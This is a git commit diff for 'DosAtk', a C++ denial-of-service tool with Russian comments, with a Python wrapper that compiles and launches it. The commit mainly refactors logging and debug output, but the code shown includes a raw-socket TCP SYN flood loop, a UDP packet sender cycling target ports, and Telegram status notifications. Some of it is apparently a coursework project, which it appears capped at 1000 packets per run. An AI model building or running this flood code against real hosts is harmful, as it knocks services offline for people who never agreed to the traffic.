bugfix/refactor-log

This commit is contained in:
dr-wh0 2025-05-09 00:01:59 +00:00
parent 8cfe964c89
commit b0350b692d
2 changed files with 111 additions and 43 deletions

View File

@ -17,4 +17,5 @@ if subprocess.call(["g++", "src/DosAtk.cpp", "-o", "DosAtk", "-lcurl", "-lssl",
sys.exit(1) sys.exit(1)
# Запуск с аргументами # Запуск с аргументами
os.execvp("./DosAtk", ["./DosAtk"] + sys.argv[1:]) if len(sys.argv[1:]) > 0:
os.execvp("./DosAtk", ["./DosAtk"] + sys.argv[1:])

View File

@ -103,7 +103,7 @@ int my_check_params()
long_options[8] = {NULL, 0, NULL, 0}; long_options[8] = {NULL, 0, NULL, 0};
i = 0; i = 0;
printf("begin my_check_params\n"); // debug printf("start my_check_params\n"); // debug
now_time_t = std::time(nullptr); now_time_t = std::time(nullptr);
// Выводим информацию о времени запуска программы // Выводим информацию о времени запуска программы
@ -118,7 +118,7 @@ int my_check_params()
char buffer[100]; char buffer[100];
snprintf(buffer, sizeof(buffer), snprintf(buffer, sizeof(buffer),
"Starting DosAtk at %04d-%02d-%02d %02d:%02d:%02d.%03ld", "[%04d-%02d-%02d %02d:%02d:%02d.%03ld] Starting DosAtk",
std::localtime(&now_time_t)->tm_year + 1900, // Год (с 1900) std::localtime(&now_time_t)->tm_year + 1900, // Год (с 1900)
std::localtime(&now_time_t)->tm_mon + 1, // Месяц (0-11) std::localtime(&now_time_t)->tm_mon + 1, // Месяц (0-11)
std::localtime(&now_time_t)->tm_mday, // День месяца std::localtime(&now_time_t)->tm_mday, // День месяца
@ -183,11 +183,13 @@ int my_check_params()
return -600; // Неполные данные для Telegram return -600; // Неполные данные для Telegram
} }
else if (attack_type == "scan") { // Если все проверки пройдены и тип атаки - сканирование else if (attack_type == "scan") { // Если все проверки пройдены и тип атаки - сканирование
log_msg += " | Type: UDP port scan";
printf("end my_check_params\n"); // debug printf("end my_check_params\n"); // debug
return 1; // Валидные параметры для сканирования return 1; // Валидные параметры для сканирования
} }
else if (attack_type == "flood") { // Если все проверки пройдены и тип атаки - флуд else if (attack_type == "flood") { // Если все проверки пройдены и тип атаки - флуд
log_msg += " | Type: TCP SYN flood";
printf("end my_check_params\n"); // debug printf("end my_check_params\n"); // debug
return 2; // Валидные параметры для флуда return 2; // Валидные параметры для флуда
} }
@ -198,6 +200,10 @@ int my_check_params()
} }
int my_udp() { int my_udp() {
if ((n_ok_requests + n_fail_requests) == 0) {
printf("start my_udp\n"); // debug
}
int sockfd; int sockfd;
int port_idx; int port_idx;
int curr_port; int curr_port;
@ -248,6 +254,7 @@ int my_udp() {
// Преобразование IP // Преобразование IP
if (inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0) { if (inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0) {
n_fail_requests++; n_fail_requests++;
log_msg += " | Failed to parse IP for udp flood";
status = -501; // Код ошибки: неверный IP status = -501; // Код ошибки: неверный IP
if (sockfd != -1) close(sockfd); if (sockfd != -1) close(sockfd);
} }
@ -256,6 +263,7 @@ int my_udp() {
sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (sockfd < 0) { if (sockfd < 0) {
n_fail_requests++; n_fail_requests++;
log_msg += " | Failed to open socket for udp flood";
status = -502; // Ошибка создания сокета status = -502; // Ошибка создания сокета
if (sockfd != -1) close(sockfd); if (sockfd != -1) close(sockfd);
} }
@ -265,6 +273,7 @@ int my_udp() {
(struct sockaddr*)&target_addr, sizeof(target_addr)); (struct sockaddr*)&target_addr, sizeof(target_addr));
if (send_result < 0) { if (send_result < 0) {
n_fail_requests++; n_fail_requests++;
log_msg += " | Failed to send udp flood request";
status = -503; // Ошибка отправки status = -503; // Ошибка отправки
} else { } else {
n_ok_requests++; n_ok_requests++;
@ -273,7 +282,10 @@ int my_udp() {
// Проверка общего числа запросов // Проверка общего числа запросов
if (n_ok_requests + n_fail_requests >= 1000) { if (n_ok_requests + n_fail_requests >= 1000) {
printf("end my_udp\n"); // debug
log_msg += " | Sent 1000 requests";
status = 2; // Условие завершения status = 2; // Условие завершения
return status;
} }
// Переход к следующему порту // Переход к следующему порту
@ -285,7 +297,7 @@ void my_diag()
{ {
// Данная функция вызывается в случае ошибки на каком-то этапе и на основании поступившего кода, // Данная функция вызывается в случае ошибки на каком-то этапе и на основании поступившего кода,
// формирует сообщение с описанием произошедшей ошибки // формирует сообщение с описанием произошедшей ошибки
printf("begin my_diag, status: %i\n", status); // debug printf("start my_diag, status: %i\n", status); // debug
switch (status) // Выбор сообщения в зависимости от кода ошибки switch (status) // Выбор сообщения в зависимости от кода ошибки
{ {
@ -303,18 +315,23 @@ void my_diag()
break; break;
case -1: // Некорректный тип атаки case -1: // Некорректный тип атаки
printf("Error: Invalid attack type!\n--help for more info\n"); printf("Error: Invalid attack type!\n--help for more info\n");
log_msg += " | Error: Invalid attack type";
break; break;
case -10: // Отсутствуют обязательные параметры для сканирования портов case -10: // Отсутствуют обязательные параметры для сканирования портов
printf("Error: Missing required parameters for port scanning!\n--help for more info\n"); printf("Error: Missing required parameters for port scanning!\n--help for more info\n");
log_msg += " | Error: Missing required parameters for port scanning";
break; break;
case -20: // Отсутствуют обязательные параметры для SYN flood атаки case -20: // Отсутствуют обязательные параметры для SYN flood атаки
printf("Error: Missing required parameters for tcp syn dos attack!\n--help for more info\n"); printf("Error: Missing required parameters for tcp syn dos attack!\n--help for more info\n");
log_msg += " | Error: Missing required parameters for tcp syn dos attack";
break; break;
case -101: // Встречена неизвестная опция командной строки case -101: // Встречена неизвестная опция командной строки
printf("Error: Unknown option!\n--help for info\n"); printf("Error: Unknown option!\n--help for info\n");
log_msg += " | Error: Unknown option";
break; break;
case -600: // Неполные данные для Telegram-уведомлений case -600: // Неполные данные для Telegram-уведомлений
printf("Error: To use telegram integration both telegram_id and telegram_token have to be provided!\n.--help for info\n"); printf("Error: To use telegram integration both telegram_id and telegram_token have to be provided!\n.--help for info\n");
log_msg += " | Error: To use telegram integration both telegram_id and telegram_token have to be provided";
break; break;
} }
@ -387,7 +404,7 @@ bool is_numeric(const std::string& s)
int my_msg() int my_msg()
{ {
printf("begin my_msg\n"); // debug printf("start my_msg\n"); // debug
// Объявление // Объявление
struct curl_slist* headers; // Заголовки HTTP-запроса struct curl_slist* headers; // Заголовки HTTP-запроса
@ -410,6 +427,7 @@ int my_msg()
// Проверка наличия обязательных параметров Telegram // Проверка наличия обязательных параметров Telegram
if (telegram_token.empty() || telegram_id.empty()) if (telegram_token.empty() || telegram_id.empty())
{ {
printf("end my_msg\n"); // debug
return 0; // Интеграция с Telegram не настроена (отсутствует токен или ID) return 0; // Интеграция с Telegram не настроена (отсутствует токен или ID)
} }
@ -446,6 +464,7 @@ int my_msg()
// Обработка ошибок CURL // Обработка ошибок CURL
if (res != CURLE_OK) if (res != CURLE_OK)
{ {
log_msg += " | Failed to send telegram msg - CURL error";
status = 5; // Ошибка выполнения запроса status = 5; // Ошибка выполнения запроса
} }
@ -455,12 +474,16 @@ int my_msg()
case 200: case 200:
status = 0; // Успешный запрос status = 0; // Успешный запрос
case 401: case 401:
log_msg += " | Failed to send telegram msg - authorization token error";
status = 1; // Ошибка авторизации (неверный токен) status = 1; // Ошибка авторизации (неверный токен)
case 400: case 400:
log_msg += " | Failed to send telegram msg - wrong request";
status = 2; // Неверный запрос status = 2; // Неверный запрос
case 404: case 404:
log_msg += " | Failed to send telegram msg - resource not found";
status = 3; // Ресурс не найден status = 3; // Ресурс не найден
case 500: case 500:
log_msg += " | Failed to send telegram msg - server error";
status = 4; // Ошибка сервера status = 4; // Ошибка сервера
} }
@ -503,7 +526,8 @@ int my_log()
// === Основная логика === // === Основная логика ===
// Если путь к лог-файлу не указан // Если путь к лог-файлу не указан
if(log_file.empty()) { if(log_file.empty()) {
return 0; printf("end my_log\n"); // debug
return 1;
} }
// Открытие файла в режиме добавления // Открытие файла в режиме добавления
@ -511,13 +535,14 @@ int my_log()
// Проверка успешности открытия файла // Проверка успешности открытия файла
if(!log_stream.is_open()) { if(!log_stream.is_open()) {
printf("end my_log\n"); // debug
return 1; return 1;
} }
// Запись сообщения в лог // Запись сообщения в лог
log_stream << "[" << std::put_time(&now_tm, "%Y-%m-%d %H:%M:%S") log_stream << log_msg << " | Stopping DosAtk [" << std::put_time(&now_tm, "%Y-%m-%d %H:%M:%S")
<< "." << std::setfill('0') << std::setw(3) << ms.count() << "] " << "." << std::setfill('0') << std::setw(3) << ms.count() << "]"
<< log_msg << std::endl; << std::endl;
// Проверка размер файла и выполняем ротацию // Проверка размер файла и выполняем ротацию
if(stat_result == 0 && file_stat.st_size > max_log_size) { if(stat_result == 0 && file_stat.st_size > max_log_size) {
@ -525,12 +550,14 @@ int my_log()
// Переименование файла // Переименование файла
if(rename(log_file.c_str(), rotated_log_name.c_str()) != 0) { if(rename(log_file.c_str(), rotated_log_name.c_str()) != 0) {
printf("end my_log\n"); // debug
return 1; return 1;
} }
// Открытие нового лог-файла // Открытие нового лог-файла
log_stream.open(log_file, std::ios::app); log_stream.open(log_file, std::ios::app);
if(!log_stream.is_open()) { if(!log_stream.is_open()) {
printf("end my_log\n"); // debug
return 1; return 1;
} }
} }
@ -546,12 +573,17 @@ void my_fin()
// Данная процедура завершает программу и рассчитывает итоговое время выполнения программы // Данная процедура завершает программу и рассчитывает итоговое время выполнения программы
// Объявления // Объявления
time_t end_time_t; // Время завершения выполненя программы time_t end_time_t; // Время завершения выполнения программы
std::chrono::milliseconds duration; // Длительность выполнения программы std::chrono::milliseconds duration; // Длительность выполнения программы
std::chrono::hours hours; // Компонента часов времени завершения std::chrono::hours hours; // Компонента часов времени завершения
std::chrono::minutes minutes; // Компонента минут времени завершения std::chrono::minutes minutes; // Компонента минут времени завершения
std::chrono::seconds seconds; // Компонента секунд времени завершения std::chrono::seconds seconds; // Компонента секунд времени завершения
std::chrono::milliseconds milliseconds; // Компонента миллисекунд времени завершения std::chrono::milliseconds milliseconds; // Компонента миллисекунд времени завершения
std::chrono::system_clock::time_point now; // Текущее время
std::time_t now_time_t; // Время в time_t
std::tm now_tm; // Время в tm структуре
char time_buf[20]; // Буфер для времени
std::chrono::milliseconds ms; // Миллисекунды
double total_seconds; double total_seconds;
// Иницаализация // Иницаализация
@ -561,8 +593,15 @@ void my_fin()
minutes = std::chrono::duration_cast<std::chrono::minutes>(duration % std::chrono::hours(1)); // Разбиваем продолжительность на компоненты minutes = std::chrono::duration_cast<std::chrono::minutes>(duration % std::chrono::hours(1)); // Разбиваем продолжительность на компоненты
seconds = std::chrono::duration_cast<std::chrono::seconds>(duration % std::chrono::minutes(1)); // Разбиваем продолжительность на компоненты seconds = std::chrono::duration_cast<std::chrono::seconds>(duration % std::chrono::minutes(1)); // Разбиваем продолжительность на компоненты
milliseconds = std::chrono::duration_cast<std::chrono::milliseconds>(duration % std::chrono::seconds(1)); // Разбиваем продолжительность на компоненты milliseconds = std::chrono::duration_cast<std::chrono::milliseconds>(duration % std::chrono::seconds(1)); // Разбиваем продолжительность на компоненты
now = std::chrono::system_clock::now();
now_time_t = std::chrono::system_clock::to_time_t(now);
localtime_r(&now_time_t, &now_tm);
memset(time_buf, 0, sizeof(time_buf));
strftime(time_buf, sizeof(time_buf), "%Y%m%d_%H%M%S", &now_tm);
ms = std::chrono::duration_cast<std::chrono::milliseconds>(
now.time_since_epoch()) % 1000;
printf("begin my_diag\n"); // debug printf("start my_fin\n"); // debug
std::cout << "Worked for "; // Выводим информацию о времени работы std::cout << "Worked for "; // Выводим информацию о времени работы
// Для коротких периодов (<2 минут) выводим в секундах с дробной частью // Для коротких периодов (<2 минут) выводим в секундах с дробной частью
@ -578,9 +617,9 @@ void my_fin()
{ {
std::cout << hours.count() << "h "; // Выводим часы std::cout << hours.count() << "h "; // Выводим часы
} }
if (minutes.count() > 0) // Если программа работала хотя бы одину минуту if (minutes.count() > 0) // Если программа работала хотя бы одну минуту
{ {
std::cout << minutes.count() << "m "; // Вывовим минуты std::cout << minutes.count() << "m "; // Выводим минуты
} }
std::cout << seconds.count() << "s " << milliseconds.count() << "ms"; // Выводим секунды и миллисекунды std::cout << seconds.count() << "s " << milliseconds.count() << "ms"; // Выводим секунды и миллисекунды
} }
@ -591,11 +630,12 @@ void my_fin()
<< n_ok_requests << " ok, " << n_fail_requests << " failed)" << std::endl; << n_ok_requests << " ok, " << n_fail_requests << " failed)" << std::endl;
// Выводим точное время завершения работы // Выводим точное время завершения работы
std::cout << "DosAtk stopped at " << std::put_time(std::localtime(&end_time_t), "%Y-%m-%d %H:%M:%S") std::cout << "DosAtk stopped at " << std::put_time(&now_tm, "%Y-%m-%d %H:%M:%S")
<< "." << std::setfill('0') << std::setw(3) << milliseconds.count() << std::endl; << "." << std::setfill('0') << std::setw(3) << ms.count() << std::endl;
log_msg = ""; log_msg = "";
printf("end my_fin\n"); // debug
// Завершаем программу с кодом состояния // Завершаем программу с кодом состояния
std::exit(status); std::exit(status);
} }
@ -609,7 +649,9 @@ int my_tcp_syn() {
* -201 - ошибка создания raw-сокета * -201 - ошибка создания raw-сокета
* -202 - ошибка отправки SYN-пакета * -202 - ошибка отправки SYN-пакета
*/ */
printf("start my_tcp_syn\n"); // debug if ((n_ok_requests + n_fail_requests) == 0) {
printf("start my_tcp_syn\n"); // debug
}
// === Объявление локальных переменных === // === Объявление локальных переменных ===
int sock; // Основной raw-сокет для отправки пакетов int sock; // Основной raw-сокет для отправки пакетов
@ -656,6 +698,8 @@ int my_tcp_syn() {
// === Основная логика процедуры === // === Основная логика процедуры ===
// 1. Создание raw-сокета // 1. Создание raw-сокета
if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) { if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
n_fail_requests++;
log_msg += " | Failed to create tcp syn raw-socket";
return -201; return -201;
} }
@ -667,6 +711,8 @@ int my_tcp_syn() {
target_addr.sin_family = AF_INET; target_addr.sin_family = AF_INET;
if (inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0) { if (inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0) {
close(sock); close(sock);
n_fail_requests++;
log_msg += " | Failed to send tcp syn packet";
return -202; return -202;
} }
@ -725,23 +771,23 @@ int my_tcp_syn() {
if (sendto(sock, packet, sizeof(packet), 0, if (sendto(sock, packet, sizeof(packet), 0,
(struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) { (struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) {
n_fail_requests++; n_fail_requests++;
close(sock);
printf("end my_tcp_syn\n"); // debug printf("end my_tcp_syn\n"); // debug
log_msg = "Failed to send tcp syn msg"; log_msg += " | Failed to send tcp syn packet";
return -202; return -202;
} else { } else {
n_ok_requests++; n_ok_requests++;
} }
// 9. Проверка завершения // 9. Проверка завершения
if ((n_ok_requests + n_fail_requests) >= 10000) { if ((n_ok_requests + n_fail_requests) >= 1000) {
log_msg = "Sent 10000 requests, stopping attack"; log_msg += " | Sent 1000 requests";
printf("end my_tcp_syn\n"); // debug printf("end my_tcp_syn\n"); // debug
close(sock);
return 2; return 2;
} }
close(sock); close(sock);
printf("end my_tcp_syn\n"); // debug
log_msg = "Sent tcp syn msg";
return 0; return 0;
} }
@ -870,11 +916,6 @@ int main(int arg_ctr, char **arg_ptr)
status = 0; status = 0;
status = my_check_params(); // Проверяем параметры командной строки status = my_check_params(); // Проверяем параметры командной строки
if (my_log()) // Если записать лог не удалось
{
my_msg(); // Отправляем сообщение
}
switch (status) // Обрабатываем результат проверки параметров switch (status) // Обрабатываем результат проверки параметров
{ {
@ -893,16 +934,29 @@ int main(int arg_ctr, char **arg_ptr)
{ {
my_diag(); // Выводим диагностику my_diag(); // Выводим диагностику
status = my_log(); // Пытаемся записать в лог status = my_log(); // Пытаемся записать в лог
if (status == 1) // Если записать лог не удалось if (status == 0) // Если лог получилось записать
{ {
my_msg(); // Отправляем сообщение my_fin(); // Просто завершаем программу
} }
else if (status == 1) // Если лог не удалось записать
{
my_msg(); // Отправляем финальное сообщение
my_fin(); // Завершаем программу
}
break;
} }
} }
// Завершающие действия после атаки // Завершающие действия после атаки
my_log(); // Логируем завершение status = my_log(); // Логируем завершение
my_msg(); // Отправляем финальное сообщение if (status == 0) // Если лог получилось записать
my_fin(); // Корректно завершаем программу {
my_fin(); // Просто завершаем программу
}
else if (status == 1) // Если лог не удалось записать
{
my_msg(); // Отправляем финальное сообщение
my_fin(); // Корректно завершаем программу
}
} }
else if (status == 1) // Ошибка DNS-разрешения else if (status == 1) // Ошибка DNS-разрешения
{ {
@ -926,7 +980,7 @@ int main(int arg_ctr, char **arg_ptr)
if (status == 0) // Если DNS разрешен успешно if (status == 0) // Если DNS разрешен успешно
{ {
// Запускаем цикл UDP-атаки // Запускаем цикл TCP-атаки
while (true) while (true)
{ {
status = my_tcp_syn(); status = my_tcp_syn();
@ -938,16 +992,29 @@ int main(int arg_ctr, char **arg_ptr)
{ {
my_diag(); // Выводим диагностику my_diag(); // Выводим диагностику
status = my_log(); // Пытаемся записать в лог status = my_log(); // Пытаемся записать в лог
if (status == 1) // Если записать лог не удалось if (status == 0) // Если лог получилось записать
{ {
my_msg(); // Отправляем сообщение my_fin(); // Просто завершаем программу
} }
else if (status == 1) // Если лог не удалось записать
{
my_msg(); // Отправляем финальное сообщение
my_fin(); // Завершаем программу
}
break;
} }
} }
// Завершающие действия после атаки // Завершающие действия после атаки
my_log(); // Логируем завершение status = my_log(); // Логируем завершение
my_msg(); // Отправляем финальное сообщение if (status == 0) // Если лог получилось записать
my_fin(); // Корректно завершаем программу {
my_fin(); // Просто завершаем программу
}
else if (status == 1) // Если лог не удалось записать
{
my_msg(); // Отправляем финальное сообщение
my_fin(); // Корректно завершаем программу
}
} }
else if (status == 1) // Ошибка DNS-разрешения else if (status == 1) // Ошибка DNS-разрешения
{ {